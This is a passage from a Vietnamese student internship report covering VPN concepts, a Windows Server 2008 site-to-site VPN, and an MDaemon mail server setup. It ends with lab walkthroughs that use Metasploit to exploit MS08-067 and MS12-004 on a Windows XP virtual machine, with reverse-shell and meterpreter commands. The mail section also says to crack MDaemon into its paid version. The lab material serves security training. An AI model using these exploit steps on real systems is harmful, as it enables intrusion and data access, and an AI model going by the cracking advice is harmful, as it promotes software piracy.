vài địa điểm từ xa muốn tham gia vào một mạng riêng duy nhất, họ có thể tạo ra
một VPN intranet (VPN nội bộ) để nối LAN với LAN.
Loại dựa trên Extranet: Khi một công ty có mối quan hệ mật thiết với một
công ty khác (ví dụ như đối tác cung cấp, khách hàng...), họ có thể xây dựng một
VPN extranet (VPN mở rộng) kết nối LAN với LAN để nhiều tổ chức khác nhau có
thể làm việc trên một môi trường chung.
SVTH: Nguyễn Trọng Sáng Page 66
Trong hình minh họa trên, kết nối giữa Văn phòng chính và Văn phòng từ xa
là loại VPN Intranet, kết nối giữa Văn phòng chính với Đối tác kinh doanh là VPN
Extranet.
3.3. Bảo mật trong VPN
Tường lửa (firewall) là rào chắn vững chắc giữa mạng riêng và Internet. Bạn
có thể thiết lập các tường lửa để hạn chế số lượng cổng mở, loại gói tin và giao thức
được chuyển qua. Một số sản phẩm dùng cho VPN như router 1700 của Cisco có
thể nâng cấp để gộp những tính năng của tường lửa bằng cách chạy hệ điều hành
Internet Cisco IOS thích hợp. Tốt nhất là hãy cài tường lửa thật tốt trước khi thiết
lập VPN.
Mật mã truy cập là khi một máy tính mã hóa dữ liệu và gửi nó tới một máy
tính khác thì chỉ có máy đó mới giải mã được. Có hai loại là mật mã riêng và mật
mã chung.
Mật mã riêng (Symmetric-Key Encryption): Mỗi máy tính đều có một mã bí
mật để mã hóa gói tin trước khi gửi tới máy tính khác trong mạng. Mã riêng yêu cầu
bạn phải biết mình đang liên hệ với những máy tính nào để có thể cài mã lên đó, để
máy tính của người nhận có thể giải mã được.
Mật mã chung (Public-Key Encryption) kết hợp mã riêng và một mã công
cộng. Mã riêng này chỉ có máy của bạn nhận biết, còn mã chung thì do máy của bạn
cấp cho bất kỳ máy nào muốn liên hệ (một cách an toàn) với nó. Để giải mã một
message, máy tính phải dùng mã chung được máy tính nguồn cung cấp, đồng thời
cần đến mã riêng của nó nữa. Có một ứng dụng loại này được dùng rất phổ biến là
Pretty Good Privacy (PGP), cho phép bạn mã hóa hầu như bất cứ thứ gì.
Giao thức bảo mật giao thức Internet (IPSec) cung cấp những tính năng an
ninh cao cấp như các thuật toán mã hóa tốt hơn, quá trình thẩm định quyền đăng
nhập toàn diện hơn.
IPSec có hai cơ chế mã hóa là Tunnel và Transport. Tunnel mã hóa tiêu đề
(header) và kích thước của mỗi gói tin còn Transport chỉ mã hóa kích thước. Chỉ
SVTH: Nguyễn Trọng Sáng Page 67
những hệ thống nào hỗ trợ IPSec mới có thể tận dụng được giao thức này. Ngoài ra,
tất cả các thiết bị phải sử dụng một mã khóa chung và các tường lửa trên mỗi hệ
thống phải có các thiết lập bảo mật giống nhau. IPSec có thể mã hóa dữ liệu giữa
nhiều thiết bị khác nhau như router với router, firewall với router, PC với router, PC
với máy chủ.
Máy chủ AAA là viết tắt của ba chữ Authentication (thẩm định quyền truy
cập), Authorization (cho phép) và Accounting (kiểm soát). Các server này được
dùng để đảm bảo truy cập an toàn hơn. Khi yêu cầu thiết lập một kết nối được gửi
tới từ máy khách, nó sẽ phải qua máy chủ AAA để kiểm tra. Các thông tin về những
hoạt động của người sử dụng là hết sức cần thiết để theo dõi vì mục đích an toàn.
3.4. Sản phẩm công nghệ dành cho VPN
Tùy vào loại VPN (truy cập từ xa hay điểm-nối-điểm), bạn sẽ cần phải cài
đặt những bộ phận hợp thành nào đó để thiết lập mạng riêng ảo. Đó có thể là:
- Phần mềm cho desktop của máy khách dành cho người sử dụng từ xa.
- Phần cứng cao cấp như bộ xử lý trung tâm VPN hoặc firewall bảo mật PIX.
- Server VPN cao cấp dành cho dịch vụ Dial-up.
- NAS (máy chủ truy cập mạng) do nhà cung cấp sử dụng để phục vụ người
sử dụng từ xa.
- Mạng VPN và trung tâm quản lý.
Bộ xử lý trung tâm VPN
Có nhiều loại máy xử lý VPN của các hãng khác nhau, nhưng sản phẩm của
Cisco tỏ ra vượt trội ở một số tính năng. Tích hợp các kỹ thuật mã hóa và thẩm định
quyền truy cập cao cấp nhất hiện nay, máy xử lý VPN được thiết kế chuyên biệt cho
loại mạng này. Chúng chứa các module xử lý mã hóa SEP, cho phép người sử dụng
dễ dàng tăng dung lượng và số lượng gói tin truyền tải. Dòng sản phẩm có các
model thích hợp cho các mô hình doanh nghiệp từ nhỏ đến lớn (từ100 cho đến
10.000 điểm kết nối từ xa truy cập cùng lúc).
SVTH: Nguyễn Trọng Sáng Page 68
Router dùng cho VPN
Thiết bị này cung cấp các tính năng truyền dẫn, bảo mật. Dựa trên hệ điều
hành Internet IOS của mình, hãng Cisco phát triển loại router thích hợp cho mọi
trường hợp, từ truy cập nhà-tới-văn phòng cho đến nhu cầu của các doanh nghiệp
quy mô lớn.
Tường lửa PIX của Cisco
Firewall trao đổi Internet riêng (Private Internet Exchange) bao gồm một cơ
chế dịch địa chỉ mạng rất mạnh, máy chủ proxy, bộ lọc gói tin, các tính năng VPN
và chặn truy cập bất hợp pháp.
Thay vì dùng IOS, thiết bị này có hệ điều hành với khả năng tổ chức cao,
xoay sở được với nhiều giao thức, hoạt động rất mạnh bằng cách tập trung vào IP.
4. VPN SITE TO SITE
Chuẩn bị:
- 2 windows server 2008
- 2 windows XP
+Máy PC 1 windows XP có ip 192.168.1.2. máy này sẻ ping thông với PC 2
là windows server 2008 có địa chỉ ip là 192.168.1.1.
SVTH: Nguyễn Trọng Sáng Page 69
+Máy PC 3 windows XP có ip 192.168.2.2 máy này sẻ ping thông với PC 4
là windows server 2008 có địa chỉ ip là 192.168.2.1.
Đặt IP cho 4 máy
Card Lan Card Cross
Server 1 10.0.0.1/24 192.168.1.1/24
Server 2 172.16.1.1/24 192.168.1.2/24
Client 1 10.0.0.2/24
Client 2 172.16.1.2/24
Tạo user saigon trên máy server 1
Tạo user hanoi trên máy server 2
Tiến hành cấu hình trên 2 server
Chọn properties ->chọn tab dial – in -> check chọn allow access
SVTH: Nguyễn Trọng Sáng Page 70
Trên máy server1
Vào server manager ->add roles
SVTH: Nguyễn Trọng Sáng Page 71
Chọn network policy and access services -> next
Chọn routing and remote access services -> next
Như vậy là đã cài xong giờ đi cấu hình
SVTH: Nguyễn Trọng Sáng Page 72
Vào start -> administrative ->routing and remote access
Chọn server -> click phải configure
SVTH: Nguyễn Trọng Sáng Page 73
Chọn Custom configuration -> next
SVTH: Nguyễn Trọng Sáng Page 74
Chọn VPN access + Demand – dial connections + Lan routing -> next
Chọn start service
SVTH: Nguyễn Trọng Sáng Page 75
Chọn tab Network interface -> click phải chọn new demand-dial interface
Nhập interface name : saigon -> next
SVTH: Nguyễn Trọng Sáng Page 76
Check connect using vitual private networking (VPN) ->next
Check chọn point to point -> next
SVTH: Nguyễn Trọng Sáng Page 77
Nhập địa chỉ ip card CROSS của máy server2 -> next
Check chọn route ip + adda user account
SVTH: Nguyễn Trọng Sáng Page 78
Add static route 172.16.2.0 (đường mạng LAN của máy server2) -> next
Nhập password của user saigon mình đã tạo ban đầu -> next
SVTH: Nguyễn Trọng Sáng Page 79
Nhập user name :hanoi
Password của user hanoi mình đã tạo ban đầu -> next
Chọn properties server
SVTH: Nguyễn Trọng Sáng Page 80
Chọn tab IPv4 và add vào chuỗi địa chỉ ip sẽ nhận khi connect vào
Apply + OK
SVTH: Nguyễn Trọng Sáng Page 81
Properties network interface saigon vừa tạo
Chọn tab L2Tp ipsec VPN và nhập key
SVTH: Nguyễn Trọng Sáng Page 82
Properties server chọn tab security -> check chọn allow custom IP sec policy
for L2TP connection -> Apply -> OK
Click phải network interface saigon ở server1 -> chọn connect
Click phải network interface hanoi ở server2 -> chọn connect
SVTH: Nguyễn Trọng Sáng Page 83
Xem kết quả connected rồi qua máy client 1 ping máy client 2 và ngược lại
để xem kết quả
Kiểm tra.
Lúc này từ PC1 sẻ ping thông qua PC4.
SVTH: Nguyễn Trọng Sáng Page 84
5. DỊCH VỤ MAIL SERVER MDaemon
Cấu hình MDmoon v10.
Đăng ký Domain
Ta truy cập vào dot.tk để đăng ký domain
Click “Đăng nhập vào My Dot” để tùy chỉnh các thông số cho domain
Cuối cùng là Save Changes.
Mail Server Mdaemon
Định Nghĩa:
Mail Server là một máy chủ cung cấp dịch vụ viết gửi và nhận thư trên
internet.
Để tạo 1 mail server thì có nhiều phần mềm , nhưng nổi tiếng nhất đó là
Mdaemon.
Các bước chuẩn bị:
1VPS làm Mail Server
SVTH: Nguyễn Trọng Sáng Page 85
Phần mềm Mdaemon bản pro
1 Domain đã add record (MX record).
Tiến hành:
Trên máy VPS ta cài Mdaemon và crack thành bản pro (vì bản pro mới cho
phép gởi và nhận mail từ các dịch vụ mail khác, con bản free chỉ cho gửi mail nội
bộ)
Cách cài Mdaemon Pro:
Ta chạy file setup MDv10.exe
Đợi quá trình cài đặt hoàn tất
Điền domain (mà ta đã đang ký ở dot.tk lúc nãy vào) Domain name
SVTH: Nguyễn Trọng Sáng Page 86
Điền vào tên và địa chỉ mail cũng như mật khẩu cho tài khoảng admin
Điền vào IP của VPS :
SVTH: Nguyễn Trọng Sáng Page 87
Click Next
Ta khỏi động Mdaemon lên rồi tạo User mail
Ta vào Account>>New Account để tạo users
SVTH: Nguyễn Trọng Sáng Page 88
Ta tạo User :
SVTH: Nguyễn Trọng Sáng Page 89
Đăng nhập vào tài khoản
Gửi mail đến Gmail để kiểm tra
SVTH: Nguyễn Trọng Sáng Page 90
Đăng nhập vào Gmail kiểm tra
Đăng nhập vào mail nội bộ và nhận mail
Kết thúc mail mdeamon
SVTH: Nguyễn Trọng Sáng Page 91
CHƯƠNG 6: BẢO MẬT WINDOWS.
1. Khai thác lỗ hổng trên Windows XP với mã lỗi MS08_067
Chuẩn bị 2 máy ảo: Windows XP (nạn nhân) và máy Back Track 5r3 (máy
tấn công nạn nhân)
Trên máy Back Track cấu hình địa chỉ IP trong bài lab này cho máy là:
192.168.154.128
Các bước thực hiện:
Kiểm tra mạng giữa XP và máy Back Track 5r3:
Máy Back Track 5r3:
Máy Xp:
SVTH: Nguyễn Trọng Sáng Page 92
Kiểm tra thông mạng:
Trên máy Back track 5r3 ta gõ đường dẫn: cd /pentest/exploits/framework
SVTH: Nguyễn Trọng Sáng Page 93
Ta tiếp tục gõ lệnh:
./msfcli windows/smb/ms08_067_netapi RHOST=192.168.154.129
LHOST=192.168.154.128 PAYLOAD=windows/shell/reverse_tcp
Trong đó RHOST là IP máy Xp, LHOST là IP máy Back track 5r3.
Sau đó, ta chờ cho máy Back track 5r3 tấn công Xp
Cuối cùng ta đã tấn công được Xp, ta biết được các thông số của máy XP
SVTH: Nguyễn Trọng Sáng Page 94
2. Khai thác lỗ hổng trên Windows XP với mã lỗi MS12_004
Máy Backtrack 5r3 có IP là 192.168.1.2, máy xp có IP là 192.168.1.3
Trên máy Back track vào chương trình terminal và gõ lệnh msfconsole
Tìm mã lỗi bằng công cụ metaploit bằng cách gõ lệnh search ms12_004
SVTH: Nguyễn Trọng Sáng Page 95
Sau khi seach được mã lỗi ta dùng lệnh use và copy mã lỗi đã tìm được.
Dùng lệnh show options để biết thêm các câu lệnh cần thiết.
SVTH: Nguyễn Trọng Sáng Page 96
Dùng lệnh SRVHOST <địa chỉ ip máy backtrack>
Dùng lệnh set PAYLOAD windows/meterpreter/preverse_tcp
Dùng lệnh set LHOST <ip backtrack>
SVTH: Nguyễn Trọng Sáng Page 97
Dùng lệnh exploit để tiến hành khai thác lỗi.
Chú ý đường dẫn http://192.168.1.2:8080/nếu máy nạn nhân vào đường dẫn
này sẽ bị hack.
Trở lại máy Windows XP. Kiểm tra địa chỉ IP máy XP. Với địa chỉ ip máy
XP là 192.168.1.3
Trên máy XP ta vào trình duyệt web và gõ đường
dẫnhttp://192.168.1.2:8080/
SVTH: Nguyễn Trọng Sáng Page 98
Trên máy Back Track bắt đầu nhận thấy có sự kết nối đến địa chỉ
Và nhận thấy có địa chỉ kết nối vào. Và tạo phiên kết nối vào nó.
Trên máy back track ta gõ lệnh sessions để kiểm tra.
SVTH: Nguyễn Trọng Sáng Page 99
Dùng lệnh sessions –i 1
Xem trước thông tin XP:
SVTH: Nguyễn Trọng Sáng Page 100
SVTH: Nguyễn Trọng Sáng Page 101
Trên máy backtrack gõ getuid để biết thông tin máy Xp, và tài khoản đang
truy cập.
Gõ sysinfo để biết thông tin chi tiết máy Xp:
Gõ lệnh shell để vào ổ đĩa máy XP:
Giờ thì ta có thể xem được các file trong ổ đĩa của máy XP.
SVTH: Nguyễn Trọng Sáng Page 102
1.
KẾT LUẬN
Các kết quả đạt được:
Sau khi tìm hiểu và triển khai các dịch vụ trên máy ảo VMWare và VPS em
đã có kiến thức về:
- Nguyên lý cơ bản của hệ điều hành mạng, kiến thức về hệ thống mạng, có
kỹ năng cần thiết để cài đặt, cấu hình hoàn chỉnh mạng doanh nghiệp cỡ vừa và lớn
dựa vào Windows Server 2008.
- Hiểu về cấu trúc hạ tầng, thiết kế và quản trị hệ thống mạng, nhiệm vụ quản
lý bao gồm việc điều hành và hỗ trợ hệ thống.
- Triển khai, thiết kế, quản lý và chuẩn đoán hỏng hóc cho một hệ thống
mạng.
- Có các kiến thức trên nền tảng công nghệ Windows Server 2008.
Kinh nghiệm thực tế
- Có cái nhìn thực tế về việc cấu hình, quản lý một hệ thống mạng của một
doanh nghiệp thông qua nền tảng.
- Được trực tiếp tiếp xúc những công nghệ và thiết bị mà trước đây chỉ biết
đến thông qua sách vở.
- Được vận dụng những kiến thức tiếp thu trên lớp vào công việc thực tế.
- Bổ sung và trau dồi những thiếu sót về kiến thức trong quá trình học trên
lớp.
- Trực tiếp triển khai và cấu hình trên máy chủ ảo VPS.
- Có kinh nghiệm trong việc khắc phục sự cố khi hệ thống gặp lỗi.
Hoàn thiện bản thân
- Các thành viên trong nhóm đã định hướng rõ ràng mục tiêu sắp tới sẽ làm.
- Tự tin hơn trong việc giao tiếp với mọi người trong công việc.
- Nâng cao khả năng làm việc nhóm cũng như khả năng tự bản thân giải
quyết vấn đề khó khăn gặp phải trong công việc.
SVTH: Nguyễn Trọng Sáng Page 103
Các kiến thức được lĩnh hội
- Kiến thức thực tế về hệ thống mạng của doanh nghiệp.
- Hiểu các thành phần công nghệ mạng doanh nghiệp vừa và nhỏ.
Kết luận.
Nhìn chung các công việc em đã cơ bản hoàn thành, tuy nhiên sẽ còn nhiều
thiếu sót, đa phần là quá trình tự học. Vì thế mong Thầy cô, các bạn đánh giá và đưa
ra những ý kiến đóng góp để khắc phục và sửa chữa. Bên cạnh trình độ chuyên môn
cũng cần có những kỹ năng mềm như kỹ năng giao tiếp, làm việc nhóm cũng hết
sức quan trọng. Thực tập là giai đoạn quan trọng của sinh viên, giúp sinh viên có cơ
hội làm việc thực tế nhằm củng cố kĩ năng, chuẩn bị cho giai đoạn làm việc thật sau
khi tốt nghiệp.
Trong quá trình thực tập tại Trung tâm ATHENA, nhóm chúng em được tiếp
xúc với một môi trường làm việc chuyên nghiệp, các công nghệ, thiết bị,các mô
hình thực tế... Qua đó nhóm học hỏi được những kinh nghiệm nhất định và có
những suy nghĩ đóng góp sau:
 Về công việc: Để thiết kế và triển khai một hệ thống mạng cho một công
ty, cần có nhiều bộ phận phối hợp với nhau để thực hiện và hoàn thành dự án.
 Về phát triển kỹ năng:Để các bộ phận có thể phối hợp tốt mỗi nhân viên
cần có những kỹ năng cơ bản để làm việc trong đội, nhóm:
oLàm việc nhóm: Kỹ năng làm việc nhóm là khả năng làm việc hiệu quả
trong đội ngũ. Đó là việc có thể sử dụng đúng người để có được kết quả tốt nhất và
luôn sẵn sàng để có thể lãnh đạo hoặc phối hợp làm theo.
oTìm hiểu – thu thập thông tin: Quản lý thông tin là khả năng biết được nơi
để có được thông tin cần thiết - để tìm kiếm, định vị, và thu thập nó. Điều này có thể
liên quan đến việc sử dụng các nguồn lực khác nhau, cho dù chúng là từ những con
người hoặc từ các tài liệu trong thế giới rộng lớn của công nghệ
oKỹ năng giải quyết vấn đề - Tính linh hoạt : Tính linh hoạt là khả năng
thích nghi để giải quyết công việc chúng ta gặp phải hàng ngày trong công việc lẫn
SVTH: Nguyễn Trọng Sáng Page 104
đời sống riêng. Giải quyết vấn đề là xác định vấn đề, nghiên cứu giải pháp và đưa ra
những quyết định hiệu quả.
 Về công nghệ: với lợi thế là công ty hoạt động trong lĩnh vực công nghệ
thông tin, ATHENA có hạ tầng CNTT hiện đại ,an toàn và thông suốt .
Danh sách các file upload trên youtube
Cài đặt Windows server 2008
https://www.youtube.com/watch?v=qS_wwBTz8DA&index=1&list=PLnZWvckm7DWl
lJUJk5ohubTsYIM_m1gmi
Cấu hình DHCP
https://www.youtube.com/watch?v=GGbl-
6YU7rI&list=PLnZWvckm7DWllJUJk5ohubTsYIM_m1gmi&index=2
Cấu hình DNS
https://www.youtube.com/watch?v=6pTQjSCwpTs&list=PLnZWvckm7DWllJUJk5ohub
TsYIM_m1gmi&index=3
Cấu hình VPN
https://www.youtube.com/watch?v=QJc8LJCkPG8&list=PLnZWvckm7DWllJUJk5ohub
TsYIM_m1gmi&index=6
Cấu hình IIS
https://www.youtube.com/watch?v=uLgB66XMEWU&list=PLnZWvckm7DWllJUJk5oh
ubTsYIM_m1gmi&index=4
Dịch vụ mail trên VPS
https://www.youtube.com/watch?v=rLZkFZgP_cI&list=PLnZWvckm7DWllJUJk5ohubT
sYIM_m1gmi&index=7
DOMAIN
https://www.youtube.com/watch?v=rZaCYgEMkLA&list=PLnZWvckm7DWllJUJk5o
hubTsYIM_m1gmi&index=5
SVTH: Nguyễn Trọng Sáng Page 105

More Related Content

What's hot

BÁO CÁO THỰC TẬP
BÁO CÁO THỰC TẬPBÁO CÁO THỰC TẬP
BÁO CÁO THỰC TẬPLinh Bé
 
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sở
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sởĐề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sở
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sởViết thuê trọn gói ZALO 0934573149
 
1.giáo trình tài chính doanh nghiệp
1.giáo trình tài chính doanh nghiệp1.giáo trình tài chính doanh nghiệp
1.giáo trình tài chính doanh nghiệpPhi Phi
 
Slide Bao Cao Thuc Tap
Slide Bao Cao Thuc TapSlide Bao Cao Thuc Tap
Slide Bao Cao Thuc Tapthanhhauuit
 
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...Viết thuê trọn gói ZALO 0934573149
 
Nhật ký thực tập ngành Quản trị Văn pòng
Nhật ký thực tập ngành Quản trị Văn pòngNhật ký thực tập ngành Quản trị Văn pòng
Nhật ký thực tập ngành Quản trị Văn pòngHọc Huỳnh Bá
 
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAY
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAYLuận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAY
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAYViết thuê trọn gói ZALO 0934573149
 
Kịch bản thuyết trình
Kịch bản thuyết trìnhKịch bản thuyết trình
Kịch bản thuyết trìnhĐức Lê Anh
 
đồ áN xây dựng website bán laptop 1129155
đồ áN xây dựng website bán laptop 1129155đồ áN xây dựng website bán laptop 1129155
đồ áN xây dựng website bán laptop 1129155nataliej4
 
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...PinkHandmade
 
Báo Cáo Thực Tập.
Báo Cáo Thực Tập.Báo Cáo Thực Tập.
Báo Cáo Thực Tập.dglylong
 
Báo cáo thực tập sản xuất
Báo cáo thực tập sản xuấtBáo cáo thực tập sản xuất
Báo cáo thực tập sản xuấtThanh Phan
 
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng long
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng longPhân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng long
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng longhttps://www.facebook.com/garmentspace
 
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...Dương Hà
 

What's hot (20)

BÁO CÁO THỰC TẬP
BÁO CÁO THỰC TẬPBÁO CÁO THỰC TẬP
BÁO CÁO THỰC TẬP
 
Đề tài: Phân tích tình hình kinh doanh của Công ty Thương mại
Đề tài: Phân tích tình hình kinh doanh của Công ty Thương mạiĐề tài: Phân tích tình hình kinh doanh của Công ty Thương mại
Đề tài: Phân tích tình hình kinh doanh của Công ty Thương mại
 
Báo cáo thực tập nhận thức.
Báo cáo thực tập nhận thức.Báo cáo thực tập nhận thức.
Báo cáo thực tập nhận thức.
 
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sở
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sởĐề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sở
Đề tài: Tác động của mạng xã hội Facebook đối với học sinh trung học cơ sở
 
1.giáo trình tài chính doanh nghiệp
1.giáo trình tài chính doanh nghiệp1.giáo trình tài chính doanh nghiệp
1.giáo trình tài chính doanh nghiệp
 
Slide Bao Cao Thuc Tap
Slide Bao Cao Thuc TapSlide Bao Cao Thuc Tap
Slide Bao Cao Thuc Tap
 
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...
Đề tài: Phân tích hoạt động phân phối sản phẩm của công ty TNHH Bao bì sài gò...
 
Nhật ký thực tập ngành Quản trị Văn pòng
Nhật ký thực tập ngành Quản trị Văn pòngNhật ký thực tập ngành Quản trị Văn pòng
Nhật ký thực tập ngành Quản trị Văn pòng
 
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAY
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAYLuận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAY
Luận văn: Phân tích hoạt động kinh doanh của công ty xuất nhập khẩu, HAY
 
Đề tài: Giải pháp nâng cao năng lực cạnh tranh của công ty, HAY
Đề tài: Giải pháp nâng cao năng lực cạnh tranh của công ty, HAYĐề tài: Giải pháp nâng cao năng lực cạnh tranh của công ty, HAY
Đề tài: Giải pháp nâng cao năng lực cạnh tranh của công ty, HAY
 
Đề tài: Giải pháp nâng cao chất lượng sản phẩm tại công ty may
Đề tài: Giải pháp nâng cao chất lượng sản phẩm tại công ty mayĐề tài: Giải pháp nâng cao chất lượng sản phẩm tại công ty may
Đề tài: Giải pháp nâng cao chất lượng sản phẩm tại công ty may
 
Kịch bản thuyết trình
Kịch bản thuyết trìnhKịch bản thuyết trình
Kịch bản thuyết trình
 
đồ áN xây dựng website bán laptop 1129155
đồ áN xây dựng website bán laptop 1129155đồ áN xây dựng website bán laptop 1129155
đồ áN xây dựng website bán laptop 1129155
 
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...
BÁO CÁO THƯỜNG NIÊN CÔNG TY CỔ PHẦN NHỰA VÀ MÔI TRƯỜNG XANH AN PHÁT_105158120...
 
Báo Cáo Thực Tập.
Báo Cáo Thực Tập.Báo Cáo Thực Tập.
Báo Cáo Thực Tập.
 
Báo cáo thực tập sản xuất
Báo cáo thực tập sản xuấtBáo cáo thực tập sản xuất
Báo cáo thực tập sản xuất
 
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng long
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng longPhân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng long
Phân tích hiệu quả sử dụng tài sản cố định tại công ty cổ phần cầu 3 thăng long
 
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...
Phân tích hoạt động sản xuất kinh doanh của công ty cổ phần đầu tư phát triển...
 
Đề tài: Công tác quản trị nhân sự tại công ty thương mại Duy Tùng
Đề tài: Công tác quản trị nhân sự tại công ty thương mại Duy TùngĐề tài: Công tác quản trị nhân sự tại công ty thương mại Duy Tùng
Đề tài: Công tác quản trị nhân sự tại công ty thương mại Duy Tùng
 
Báo cáo thực tập tại công ty nội thất hoà phát
Báo cáo thực tập tại công ty nội thất hoà phát Báo cáo thực tập tại công ty nội thất hoà phát
Báo cáo thực tập tại công ty nội thất hoà phát
 

Viewers also liked

Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...
Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...
Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...hoainhan1501
 
Lập trình Androi
Lập trình AndroiLập trình Androi
Lập trình AndroiDung Duong
 
Báo Cáo Thực Tập Tốt Nghiệp Athena
Báo Cáo Thực Tập Tốt Nghiệp AthenaBáo Cáo Thực Tập Tốt Nghiệp Athena
Báo Cáo Thực Tập Tốt Nghiệp AthenaNam Tran
 
Báo cáo thực tập cơ sở
Báo cáo thực tập cơ sởBáo cáo thực tập cơ sở
Báo cáo thực tập cơ sởNguyễn Phú
 
Báo cáo thực tập chuyên đề wordpress
Báo cáo thực tập chuyên đề wordpressBáo cáo thực tập chuyên đề wordpress
Báo cáo thực tập chuyên đề wordpressvngnhuhaiyen236
 
Athena: Báo cáo thực tập đề tài wordpress
Athena: Báo cáo thực tập đề tài wordpressAthena: Báo cáo thực tập đề tài wordpress
Athena: Báo cáo thực tập đề tài wordpressTú Phạm
 
Báo cáo thực tập windows server 2008 gia dinh ly huutai
Báo cáo thực tập windows server 2008 gia dinh ly huutaiBáo cáo thực tập windows server 2008 gia dinh ly huutai
Báo cáo thực tập windows server 2008 gia dinh ly huutaiTai Ly
 
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPress
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPressBáo cáo thực tập Athena - Xây dựng web tin tức bằng WordPress
Báo cáo thực tập Athena - Xây dựng web tin tức bằng WordPressTranVanVuong
 
Mẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpMẫu báo cáo thực tập tốt nghiệp
Mẫu báo cáo thực tập tốt nghiệpĐình Linh
 
Báo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề WordpressBáo cáo thực tập chuyên đề Wordpress
Báo cáo thực tập chuyên đề Wordpressvngnhuhaiyen236
 
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan
Báo cáo thực tập kế toán tiêu thụ Công ty cổ phần Dệt Sợi DamSan Dương Hà
 
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức Thịnh
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức ThịnhBáo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức Thịnh
Báo cáo thực tập về công ty TNHH Thương Mại và Dịch Vụ Đức ThịnhTiểu Yêu
 

Viewers also liked (13)

Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...
Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...
Báo Cáo Cuối Ký Thực Tập Tốt Nghiệp Xậy Dựng Web Bán Hàng Trực Tuyến bằng Ope...
 
Lập trình Androi
Lập trình AndroiLập trình Androi
Lập trình Androi
 
Báo Cáo Thực Tập Tốt Nghiệp Athena
